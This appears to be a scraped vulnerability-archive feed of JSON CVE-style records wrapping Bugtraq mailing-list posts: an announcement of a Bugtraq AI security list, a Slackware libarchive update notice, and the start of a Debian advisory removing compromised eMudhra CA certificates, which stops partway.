"destId": "CVE-2026-97484",
"type": "related"
},
{
"destId": "CVE-2026-97485",
"type": "related"
},
{
"destId": "CVE-2026-97486",
"type": "related"
},
{
"destId": "CVE-2026-97487",
"type": "related"
},
{
"destId": "CVE-2026-97488",
"type": "related"
},
{
"destId": "CVE-2026-97489",
"type": "related"
},
{
"destId": "CVE-2026-97490",
"type": "related"
},
{
"destId": "CVE-2026-97491",
"type": "related"
},
{
"destId": "CVE-2026-97492",
"type": "related"
},
{
"destId": "CVE-2026-97494",
"type": "related"
},
{
"destId": "CVE-2026-97495",
"type": "related"
},
{
"destId": "CVE-2026-97496",
"type": "related"
},
{
"destId": "CVE-2026-97497",
"type": "related"
},
{
"destId": "CVE-2026-97500",
"type": "related"
},
{
"destId": "CVE-2026-97502",
"type": "related"
},
{
"destId": "CVE-2026-97504",
"type": "related"
},
{
"destId": "CVE-2026-97505",
"type": "related"
},
{
"destId": "CVE-2026-97506",
"type": "related"
},
{
"destId": "CVE-2026-97507",
"type": "related"
},
{
"destId": "CVE-2026-97508",
"type": "related"
},
{
"destId": "CVE-2026-97509",
"type": "related"
},
{
"destId": "CVE-2026-97510",
"type": "related"
},
{
"destId": "CVE-2026-97512",
"type": "related"
},
{
"destId": "CVE-2026-97514",
"type": "related"
},
{
"destId": "CVE-2026-97516",
"type": "related"
},
{
"destId": "CVE-2026-97517",
"type": "related"
},
{
"destId": "CVE-2026-97518",
"type": "related"
},
{
"destId": "CVE-2026-97520",
"type": "related"
},
{
"destId": "CVE-2026-97521",
"type": "related"
},
{
"destId": "CVE-2026-97522",
"type": "related"
},
{
"destId": "CVE-2026-97523",
"type": "related"
},
{
"destId": "CVE-2026-97524",
"type": "related"
},
{
"destId": "CVE-2026-97539",
"type": "related"
},
{
"destId": "CVE-2026-97540",
"type": "related"
},
{
"destId": "CVE-2026-97541",
"type": "related"
},
{
"destId": "CVE-2026-97542",
"type": "related"
},
{
"destId": "CVE-2026-97543",
"type": "related"
},
{
"destId": "CVE-2026-97544",
"type": "related"
},
{
"destId": "CVE-2026-97545",
"type": "related"
},
{
"destId": "CVE-2026-97546",
"type": "related"
},
{
"destId": "CVE-2026-97547",
"type": "related"
},
{
"destId": "CVE-2026-97551",
"type": "related"
},
{
"destId": "CVE-2026-97552",
"type": "related"
},
{
"destId": "CVE-2026-97555",
"type": "related"
},
{
"destId": "CVE-2026-97556",
"type": "related"
},
{
"destId": "CVE-2026-97557",
"type": "related"
},
{
"destId": "CVE-2026-97560",
"type": "related"
},
{
"destId": "CVE-2026-97562",
"type": "related"
},
{
"destId": "CVE-2026-97564",
"type": "related"
},
{
"destId": "CVE-2026-97568",
"type": "related"
},
{
"destId": "CVE-2026-97572",
"type": "related"
},
{
"destId": "CVE-2026-97573",
"type": "related"
},
{
"destId": "CVE-2026-97575",
"type": "related"
},
{
"destId": "CVE-2026-97576",
"type": "related"
},
{
"destId": "CVE-2026-97577",
"type": "related"
},
{
"destId": "CVE-2026-97578",
"type": "related"
},
{
"destId": "CVE-2026-97579",
"type": "related"
},
{
"destId": "CVE-2026-97581",
"type": "related"
},
{
"destId": "CVE-2026-97582",
"type": "related"
},
{
"destId": "CVE-2026-97583",
"type": "related"
},
{
"destId": "CVE-2026-97584",
"type": "related"
},
{
"destId": "CVE-2026-97587",
"type": "related"
},
{
"destId": "CVE-2026-97592",
"type": "related"
},
{
"destId": "CVE-2026-97595",
"type": "related"
},
{
"destId": "CVE-2026-97596",
"type": "related"
},
{
"destId": "CVE-2026-97598",
"type": "related"
},
{
"destId": "CVE-2026-97599",
"type": "related"
},
{
"destId": "CVE-2026-97600",
"type": "related"
},
{
"destId": "CVE-2026-97601",
"type": "related"
},
{
"destId": "CVE-2026-97602",
"type": "related"
},
{
"destId": "CVE-2026-97604",
"type": "related"
},
{
"destId": "CVE-2026-97605",
"type": "related"
},
{
"destId": "CVE-2026-97606",
"type": "related"
},
{
"destId": "CVE-2026-97607",
"type": "related"
},
{
"destId": "CVE-2026-97608",
"type": "related"
},
{
"destId": "CVE-2026-97611",
"type": "related"
},
{
"destId": "CVE-2026-97612",
"type": "related"
},
{
"destId": "CVE-2026-97613",
"type": "related"
},
{
"destId": "CVE-2026-97616",
"type": "related"
},
{
"destId": "CVE-2026-97617",
"type": "related"
},
{
"destId": "CVE-2026-97899",
"type": "related"
},
{
"destId": "CVE-2026-97900",
"type": "related"
},
{
"destId": "CVE-2026-97902",
"type": "related"
},
{
"destId": "CVE-2026-97904",
"type": "related"
},
{
"destId": "CVE-2026-97905",
"type": "related"
},
{
"destId": "CVE-2026-97907",
"type": "related"
},
{
"destId": "CVE-2026-97908",
"type": "related"
},
{
"destId": "CVE-2026-97909",
"type": "related"
},
{
"destId": "CVE-2026-97910",
"type": "related"
},
{
"destId": "CVE-2026-97915",
"type": "related"
},
{
"destId": "CVE-2026-97916",
"type": "related"
},
{
"destId": "CVE-2026-97917",
"type": "related"
},
{
"destId": "CVE-2026-97920",
"type": "related"
},
{
"destId": "CVE-2026-97921",
"type": "related"
},
{
"destId": "CVE-2026-97922",
"type": "related"
},
{
"destId": "CVE-2026-97923",
"type": "related"
},
{
"destId": "CVE-2026-97924",
"type": "related"
},
{
"destId": "CVE-2026-97925",
"type": "related"
},
{
"destId": "CVE-2026-97926",
"type": "related"
},
{
"destId": "CVE-2026-97927",
"type": "related"
},
{
"destId": "CVE-2026-97929",
"type": "related"
},
{
"destId": "CVE-2026-97930",
"type": "related"
},
{
"destId": "CVE-2026-97931",
"type": "related"
},
{
"destId": "CVE-2026-97936",
"type": "related"
},
{
"destId": "CVE-2026-97940",
"type": "related"
},
{
"destId": "CVE-2026-97945",
"type": "related"
},
{
"destId": "CVE-2026-97948",
"type": "related"
},
{
"destId": "CVE-2026-97951",
"type": "related"
},
{
"destId": "CVE-2026-97952",
"type": "related"
},
{
"destId": "CVE-2026-97953",
"type": "related"
},
{
"destId": "CVE-2026-97954",
"type": "related"
},
{
"destId": "CVE-2026-97957",
"type": "related"
},
{
"destId": "CVE-2026-97958",
"type": "related"
},
{
"destId": "CVE-2026-97959",
"type": "related"
},
{
"destId": "CVE-2026-97961",
"type": "related"
},
{
"destId": "CVE-2026-97963",
"type": "related"
},
{
"destId": "CVE-2026-97964",
"type": "related"
},
{
"destId": "CVE-2026-97965",
"type": "related"
},
{
"destId": "CVE-2026-97966",
"type": "related"
},
{
"destId": "CVE-2026-97967",
"type": "related"
},
{
"destId": "CVE-2026-97968",
"type": "related"
},
{
"destId": "CVE-2026-97969",
"type": "related"
},
{
"destId": "CVE-2026-97970",
"type": "related"
},
{
"destId": "CVE-2026-97973",
"type": "related"
},
{
"destId": "CVE-2026-97976",
"type": "related"
},
{
"destId": "CVE-2026-97977",
"type": "related"
},
{
"destId": "CVE-2026-97978",
"type": "related"
},
{
"destId": "CVE-2026-97979",
"type": "related"
},
{
"destId": "CVE-2026-97981",
"type": "related"
},
{
"destId": "CVE-2026-97982",
"type": "related"
},
{
"destId": "CVE-2026-97984",
"type": "related"
},
{
"destId": "CVE-2026-97985",
"type": "related"
},
{
"destId": "CVE-2026-97986",
"type": "related"
},
{
"destId": "CVE-2026-97987",
"type": "related"
},
{
"destId": "CVE-2026-97990",
"type": "related"
},
{
"destId": "CVE-2026-97991",
"type": "related"
},
{
"destId": "CVE-2026-97992",
"type": "related"
},
{
"destId": "CVE-2026-97993",
"type": "related"
},
{
"destId": "CVE-2026-97994",
"type": "related"
},
{
"destId": "CVE-2026-97995",
"type": "related"
},
{
"destId": "CVE-2026-97996",
"type": "related"
},
{
"destId": "CVE-2026-97998",
"type": "related"
},
{
"destId": "CVE-2026-98001",
"type": "related"
},
{
"destId": "CVE-2026-98006",
"type": "related"
},
{
"destId": "CVE-2026-98007",
"type": "related"
},
{
"destId": "CVE-2026-98008",
"type": "related"
},
{
"destId": "CVE-2026-98009",
"type": "related"
},
{
"destId": "CVE-2026-98010",
"type": "related"
},
{
"destId": "CVE-2026-98011",
"type": "related"
},
{
"destId": "CVE-2026-98012",
"type": "related"
},
{
"destId": "CVE-2026-98013",
"type": "related"
},
{
"destId": "CVE-2026-98014",
"type": "related"
},
{
"destId": "CVE-2026-98015",
"type": "related"
},
{
"destId": "CVE-2026-98016",
"type": "related"
},
{
"destId": "CVE-2026-98017",
"type": "related"
},
{
"destId": "CVE-2026-98018",
"type": "related"
},
{
"destId": "CVE-2026-98020",
"type": "related"
},
{
"destId": "CVE-2026-98021",
"type": "related"
},
{
"destId": "CVE-2026-98022",
"type": "related"
},
{
"destId": "CVE-2026-98023",
"type": "related"
},
{
"destId": "CVE-2026-98024",
"type": "related"
},
{
"destId": "CVE-2026-98025",
"type": "related"
},
{
"destId": "CVE-2026-98026",
"type": "related"
},
{
"destId": "CVE-2026-98027",
"type": "related"
},
{
"destId": "CVE-2026-98028",
"type": "related"
},
{
"destId": "CVE-2026-98029",
"type": "related"
},
{
"destId": "CVE-2026-98030",
"type": "related"
},
{
"destId": "CVE-2026-98031",
"type": "related"
},
{
"destId": "CVE-2026-98037",
"type": "related"
},
{
"destId": "CVE-2026-98039",
"type": "related"
},
{
"destId": "CVE-2026-98041",
"type": "related"
},
{
"destId": "CVE-2026-98045",
"type": "related"
},
{
"destId": "CVE-2026-98046",
"type": "related"
},
{
"destId": "CVE-2026-98051",
"type": "related"
},
{
"destId": "CVE-2026-98052",
"type": "related"
},
{
"destId": "CVE-2026-98054",
"type": "related"
},
{
"destId": "CVE-2026-98055",
"type": "related"
},
{
"destId": "CVE-2026-98056",
"type": "related"
},
{
"destId": "CVE-2026-98057",
"type": "related"
},
{
"destId": "CVE-2026-98059",
"type": "related"
},
{
"destId": "CVE-2026-98063",
"type": "related"
},
{
"destId": "CVE-2026-98064",
"type": "related"
},
{
"destId": "CVE-2026-98066",
"type": "related"
},
{
"destId": "CVE-2026-98068",
"type": "related"
},
{
"destId": "CVE-2026-98069",
"type": "related"
},
{
"destId": "CVE-2026-98070",
"type": "related"
},
{
"destId": "CVE-2026-98071",
"type": "related"
},
{
"destId": "CVE-2026-98072",
"type": "related"
},
{
"destId": "CVE-2026-98074",
"type": "related"
},
{
"destId": "CVE-2026-98075",
"type": "related"
},
{
"destId": "CVE-2026-98076",
"type": "related"
},
{
"destId": "CVE-2026-98077",
"type": "related"
},
{
"destId": "CVE-2026-98078",
"type": "related"
},
{
"destId": "CVE-2026-98080",
"type": "related"
},
{
"destId": "CVE-2026-98081",
"type": "related"
},
{
"destId": "CVE-2026-98082",
"type": "related"
},
{
"destId": "CVE-2026-98083",
"type": "related"
},
{
"destId": "CVE-2026-98086",
"type": "related"
},
{
"destId": "CVE-2026-98088",
"type": "related"
},
{
"destId": "CVE-2026-98089",
"type": "related"
},
{
"destId": "CVE-2026-98090",
"type": "related"
},
{
"destId": "CVE-2026-98091",
"type": "related"
},
{
"destId": "CVE-2026-98092",
"type": "related"
},
{
"destId": "CVE-2026-98094",
"type": "related"
},
{
"destId": "CVE-2026-98095",
"type": "related"
},
{
"destId": "CVE-2026-98096",
"type": "related"
},
{
"destId": "CVE-2026-98097",
"type": "related"
},
{
"destId": "CVE-2026-98098",
"type": "related"
},
{
"destId": "CVE-2026-98102",
"type": "related"
},
{
"destId": "CVE-2026-98103",
"type": "related"
},
{
"destId": "CVE-2026-98104",
"type": "related"
},
{
"destId": "CVE-2026-98105",
"type": "related"
},
{
"destId": "CVE-2026-98107",
"type": "related"
},
{
"destId": "CVE-2026-98108",
"type": "related"
},
{
"destId": "CVE-2026-98109",
"type": "related"
},
{
"destId": "CVE-2026-98110",
"type": "related"
},
{
"destId": "CVE-2026-98111",
"type": "related"
},
{
"destId": "CVE-2026-98113",
"type": "related"
},
{
"destId": "CVE-2026-98114",
"type": "related"
},
{
"destId": "CVE-2026-98116",
"type": "related"
},
{
"destId": "CVE-2026-98121",
"type": "related"
},
{
"destId": "CVE-2026-98122",
"type": "related"
},
{
"destId": "CVE-2026-98123",
"type": "related"
},
{
"destId": "CVE-2026-98126",
"type": "related"
},
{
"destId": "CVE-2026-98127",
"type": "related"
},
{
"destId": "CVE-2026-98128",
"type": "related"
},
{
"destId": "CVE-2026-98129",
"type": "related"
},
{
"destId": "CVE-2026-98130",
"type": "related"
},
{
"destId": "CVE-2026-98142",
"type": "related"
},
{
"destId": "CVE-2026-98151",
"type": "related"
},
{
"destId": "CVE-2026-98152",
"type": "related"
},
{
"destId": "CVE-2026-98154",
"type": "related"
},
{
"destId": "CVE-2026-98155",
"type": "related"
},
{
"destId": "CVE-2026-98157",
"type": "related"
},
{
"destId": "CVE-2026-98158",
"type": "related"
},
{
"destId": "CVE-2026-98159",
"type": "related"
},
{
"destId": "CVE-2026-98160",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0547",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/3277f17e064bedcd5c7a91b764a33ebbc6fc1b6545056adc73d4676ff2416785",
"automated": true,
"contentSha256": "3277f17e064bedcd5c7a91b764a33ebbc6fc1b6545056adc73d4676ff2416785",
"evidenceScore": 7,
"messageId": "E1xBUSo-0000000F7rk-1P79%40seger.debian.org",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/WVR7HR2MXQLVETHFODLHXKCJFW6XGL26/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T13:35:54Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0547"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T13:35:54Z",
"dateUpdated": "2026-11-02T13:35:54Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0547"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0546
Vulnerability from gna-1988 – Published: 2026-11-02 10:19 – Updated: 2026-11-02 10:19
VLAI
EPSS
VEX
Title
[Bugtraq] Bugtraq AI is live
Summary
This is bugtraq@bugtraq.ai, a new mailing list dedicated to the security
of AI systems and the use of AI in security research.
Bugtraq AI is a sibling of the original Bugtraq list at
securityfocus.com, which we are relaunching today after years of
silence. Same principles - full disclosure, researcher-first, no
corporate filter - applied to a domain that didn't exist when Bugtraq
was born in 1993 but now touches everything.
What belongs here:
- Vulnerabilities in AI/ML systems: model poisoning, training data
extraction, prompt injection, inference attacks, jailbreaks with
security impact, supply chain issues in model distribution.
- Offensive and defensive uses of AI in vulnerability research:
automated fuzzing, binary analysis, exploit generation, AI-assisted code
audit.
- Security implications of AI deployment: model serving infrastructure,
API attack surfaces, embedded model security, agent frameworks.
- Tooling, techniques, papers, and war stories.
What doesn't belong here: hype, product launches, debates without a
technical component, or anything you'd post on LinkedIn.
AI security is moving fast enough that the traditional conference cycle
can't keep up. Papers take months. Blog posts disappear into algorithmic
feeds. A mailing list is a permanent, searchable, citable record owned
by the community - not by a platform that can change its terms tomorrow.
There is a deeper reason this list exists. We are entering an era where
AI can generate plausible code, plausible advisories, and plausible
explanations of vulnerabilities - all of which may be wrong.
Disinformation is no longer just a social media problem; it is a
technical one. When a model hallucinates a CVE, or generates a patch
that looks correct but isn't, or produces an analysis that passes peer
review but not a proof checker - we have a truth problem.
Formal methods and mathematical proofs are the antidote. A proof doesn't
care who generated it or how convincing the prose around it sounds. It
either holds or it doesn't. As AI systems become both the subject and
the tool of security research, the ability to formally verify claims -
about code, about vulnerabilities, about the models themselves - becomes
not academic but essential.
This list welcomes that work. If you're applying formal verification to
AI systems, using proof assistants to validate security properties, or
building tooling that replaces trust with proof - this is the place.
The format is old. The problem space is new. That's the point.
Post something.
Severity
No CVSS data available.
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/item/9bbf046… | technical-description |
| https://lists.securityfocus.com/hyperkitty/list/b… | technical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Bugtraq AI is |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Bugtraq AI is",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jonathan Brossard"
}
],
"descriptions": [
{
"lang": "en",
"value": "This is bugtraq@bugtraq.ai, a new mailing list dedicated to the security\nof AI systems and the use of AI in security research.\nBugtraq AI is a sibling of the original Bugtraq list at\nsecurityfocus.com, which we are relaunching today after years of\nsilence. Same principles - full disclosure, researcher-first, no\ncorporate filter - applied to a domain that didn\u0027t exist when Bugtraq\nwas born in 1993 but now touches everything.\nWhat belongs here:\n- Vulnerabilities in AI/ML systems: model poisoning, training data\nextraction, prompt injection, inference attacks, jailbreaks with\nsecurity impact, supply chain issues in model distribution.\n- Offensive and defensive uses of AI in vulnerability research:\nautomated fuzzing, binary analysis, exploit generation, AI-assisted code\naudit.\n- Security implications of AI deployment: model serving infrastructure,\nAPI attack surfaces, embedded model security, agent frameworks.\n- Tooling, techniques, papers, and war stories.\nWhat doesn\u0027t belong here: hype, product launches, debates without a\ntechnical component, or anything you\u0027d post on LinkedIn.\nAI security is moving fast enough that the traditional conference cycle\ncan\u0027t keep up. Papers take months. Blog posts disappear into algorithmic\nfeeds. A mailing list is a permanent, searchable, citable record owned\nby the community - not by a platform that can change its terms tomorrow.\nThere is a deeper reason this list exists. We are entering an era where\nAI can generate plausible code, plausible advisories, and plausible\nexplanations of vulnerabilities - all of which may be wrong.\nDisinformation is no longer just a social media problem; it is a\ntechnical one. When a model hallucinates a CVE, or generates a patch\nthat looks correct but isn\u0027t, or produces an analysis that passes peer\nreview but not a proof checker - we have a truth problem.\nFormal methods and mathematical proofs are the antidote. A proof doesn\u0027t\ncare who generated it or how convincing the prose around it sounds. It\neither holds or it doesn\u0027t. As AI systems become both the subject and\nthe tool of security research, the ability to formally verify claims -\nabout code, about vulnerabilities, about the models themselves - becomes\nnot academic but essential.\nThis list welcomes that work. If you\u0027re applying formal verification to\nAI systems, using proof assistants to validate security properties, or\nbuilding tooling that replaces trust with proof - this is the place.\nThe format is old. The problem space is new. That\u0027s the point.\nPost something."
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T10:19:30Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/item/9bbf046a7322f59b4b37dcdc1193b54aa518ba700c46ff84776987bddb93af70"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/6ZEX4GCNZEATYIDGO52K37PKMGJCYNAJ/"
}
],
"source": {
"defect": [
"281eaacc-10f4-4abf-8209-231666b27be4%40gmail.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] Bugtraq AI is live",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0546",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/9bbf046a7322f59b4b37dcdc1193b54aa518ba700c46ff84776987bddb93af70",
"automated": true,
"contentSha256": "9bbf046a7322f59b4b37dcdc1193b54aa518ba700c46ff84776987bddb93af70",
"evidenceScore": 5,
"messageId": "281eaacc-10f4-4abf-8209-231666b27be4%40gmail.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/6ZEX4GCNZEATYIDGO52K37PKMGJCYNAJ/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T10:19:30Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T10:19:30Z",
"dateUpdated": "2026-11-02T10:19:30Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0546"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0545
Vulnerability from gna-1988 – Published: 2026-11-02 10:19 – Updated: 2026-11-02 10:19
VLAI
EPSS
VEX
Title
[Bugtraq] [slackware-security] libarchive (SSA:2026-304-01)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[slackware-security] libarchive (SSA:2026-304-01)
New libarchive packages are available for Slackware 15.0 and -current to
fix security issues.
Here are the details from the Slackware 15.0 ChangeLog:
+--------------------------+
patches/packages/libarchive-3.8.11-i586-1_slack15.0.txz: Upgraded.
Libarchive 3.8.11 is a security, bugfix and minor feature release.
For more information, see:
https://github.com/libarchive/libarchive/compare/v3.8.10...v3.8.11
(* Security fix *)
+--------------------------+
Where to find the new packages:
+-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab
(http://osuosl.org) for donating FTP and rsync hosting
to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for
additional mirror sites near you.
Updated package for Slackware 15.0:
ftp://ftp.slackware.com/pub/slackware/slackware-15.0/patches/packages/libarchive-3.8.11-i586-1_slack15.0.txz
Updated package for Slackware x86_64 15.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-15.0/patches/packages/libarchive-3.8.11-x86_64-1_slack15.0.txz
Updated package for Slackware -current:
ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/libarchive-3.8.11-i686-1.txz
Updated package for Slackware x86_64 -current:
ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/libarchive-3.8.11-x86_64-1.txz
MD5 signatures:
+-------------+
Slackware 15.0 package:
aca8c833d45c165958f6d760b8757d6c libarchive-3.8.11-i586-1_slack15.0.txz
Slackware x86_64 15.0 package:
81a647b91a96dc5535015a7a8147a33b libarchive-3.8.11-x86_64-1_slack15.0.txz
Slackware -current package:
57d776a5d1e3bc9286e5d42acb8228ce l/libarchive-3.8.11-i686-1.txz
Slackware x86_64 -current package:
74af567497fde41c2a2370120dc93acc l/libarchive-3.8.11-x86_64-1.txz
Installation instructions:
+------------------------+
Upgrade the package as root:
# upgradepkg libarchive-3.8.11-i586-1_slack15.0.txz
+-----+
Slackware Linux Security Team
http://slackware.com/gpg-key
security@slackware.com
+------------------------------------------------------------------------+
| To leave the slackware-security mailing list: |
+------------------------------------------------------------------------+
| Send an email to majordomo@slackware.com with this text in the body of |
| the email message: |
| |
| unsubscribe slackware-security |
| |
| You will get a confirmation message back containing instructions to |
| complete the process. Please do not reply to this email address. |
+------------------------------------------------------------------------+
-----BEGIN PGP SIGNATURE-----
iHkEARECADkWIQTsVknaQB4iq/pnNu9qRGPAQBAiMwUCauZazBsUgAAAAAAEAA5t
YW51MiwyLjUrMS4xMiwyLDIACgkQakRjwEAQIjNzoQCeJrjAkrPU5vdp364VaDou
klHjJOEAoIBAoSIoXFHXW8Rmze9IfTEpNJM3
=H+A5
-----END PGP SIGNATURE-----
Severity
No CVSS data available.
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/item/26e67a8… | technical-description |
| https://lists.securityfocus.com/hyperkitty/list/b… | technical-description |
| http://osuosl.org | |
| http://slackware.com | |
| http://slackware.com/gpg-key | |
| https://github.com/libarchive/libarchive/compare/… |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Libarchive | SSA:2026-304-01 |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "SSA:2026-304-01",
"vendor": "Libarchive",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Slackware Security Team"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n[slackware-security] libarchive (SSA:2026-304-01)\nNew libarchive packages are available for Slackware 15.0 and -current to\nfix security issues.\nHere are the details from the Slackware 15.0 ChangeLog:\n+--------------------------+\npatches/packages/libarchive-3.8.11-i586-1_slack15.0.txz: Upgraded.\nLibarchive 3.8.11 is a security, bugfix and minor feature release.\nFor more information, see:\nhttps://github.com/libarchive/libarchive/compare/v3.8.10...v3.8.11\n(* Security fix *)\n+--------------------------+\nWhere to find the new packages:\n+-----------------------------+\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you.\nUpdated package for Slackware 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware-15.0/patches/packages/libarchive-3.8.11-i586-1_slack15.0.txz\nUpdated package for Slackware x86_64 15.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-15.0/patches/packages/libarchive-3.8.11-x86_64-1_slack15.0.txz\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/libarchive-3.8.11-i686-1.txz\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/libarchive-3.8.11-x86_64-1.txz\nMD5 signatures:\n+-------------+\nSlackware 15.0 package:\naca8c833d45c165958f6d760b8757d6c libarchive-3.8.11-i586-1_slack15.0.txz\nSlackware x86_64 15.0 package:\n81a647b91a96dc5535015a7a8147a33b libarchive-3.8.11-x86_64-1_slack15.0.txz\nSlackware -current package:\n57d776a5d1e3bc9286e5d42acb8228ce l/libarchive-3.8.11-i686-1.txz\nSlackware x86_64 -current package:\n74af567497fde41c2a2370120dc93acc l/libarchive-3.8.11-x86_64-1.txz\nInstallation instructions:\n+------------------------+\nUpgrade the package as root:\n# upgradepkg libarchive-3.8.11-i586-1_slack15.0.txz\n+-----+\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list: |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message: |\n| |\n| unsubscribe slackware-security |\n| |\n| You will get a confirmation message back containing instructions to |\n| complete the process. Please do not reply to this email address. |\n+------------------------------------------------------------------------+\n-----BEGIN PGP SIGNATURE-----\niHkEARECADkWIQTsVknaQB4iq/pnNu9qRGPAQBAiMwUCauZazBsUgAAAAAAEAA5t\nYW51MiwyLjUrMS4xMiwyLDIACgkQakRjwEAQIjNzoQCeJrjAkrPU5vdp364VaDou\nklHjJOEAoIBAoSIoXFHXW8Rmze9IfTEpNJM3\n=H+A5\n-----END PGP SIGNATURE-----"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T10:19:29Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/item/26e67a8ee917fd153f93297cb328ad40273a20ef61a359a4e2516f2b5adf3830"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/AZANKUH6J3K5VBTQ45LUVX5WCGSZLLLP/"
},
{
"url": "http://osuosl.org"
},
{
"url": "http://slackware.com"
},
{
"url": "http://slackware.com/gpg-key"
},
{
"url": "https://github.com/libarchive/libarchive/compare/v3.8.10...v3.8.11"
}
],
"source": {
"defect": [
"alpine.LNX.2.02.2610311424240.3541%40connie.slackware.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] [slackware-security] libarchive (SSA:2026-304-01)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0545",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/26e67a8ee917fd153f93297cb328ad40273a20ef61a359a4e2516f2b5adf3830",
"automated": true,
"contentSha256": "26e67a8ee917fd153f93297cb328ad40273a20ef61a359a4e2516f2b5adf3830",
"evidenceScore": 6,
"messageId": "alpine.LNX.2.02.2610311424240.3541%40connie.slackware.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/AZANKUH6J3K5VBTQ45LUVX5WCGSZLLLP/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T10:19:29Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T10:19:29Z",
"dateUpdated": "2026-11-02T10:19:29Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0545"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0544
Vulnerability from gna-1988 – Published: 2026-11-02 10:19 – Updated: 2026-11-02 10:19
VLAI
EPSS
VEX
Title
[Bugtraq] [SECURITY] [DSA 6599-1] nss security update
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
- -------------------------------------------------------------------------
Debian Security Advisory DSA-6599-1 security@debian.org
https://www.debian.org/security/ Salvatore Bonaccorso
October 31, 2026 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : nss
It was discovered that several eMudhra intermediate CA certificates have
been compromised. Updated nss packages are provided to remove the
"eMudhra emSign Root CA - G3", "eMudhra emSign Root CA - C1" and "emSign
ECC Root CA - C3" certificates.
For the stable distribution (trixie), this problem has been fixed in
version 2:3.110-1+deb13u5.
We recommend that you upgrade your nss packages.
For the detailed security status of nss please refer to its security
tracker page at:
https://security-tracker.debian.org/tracker/nss
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----
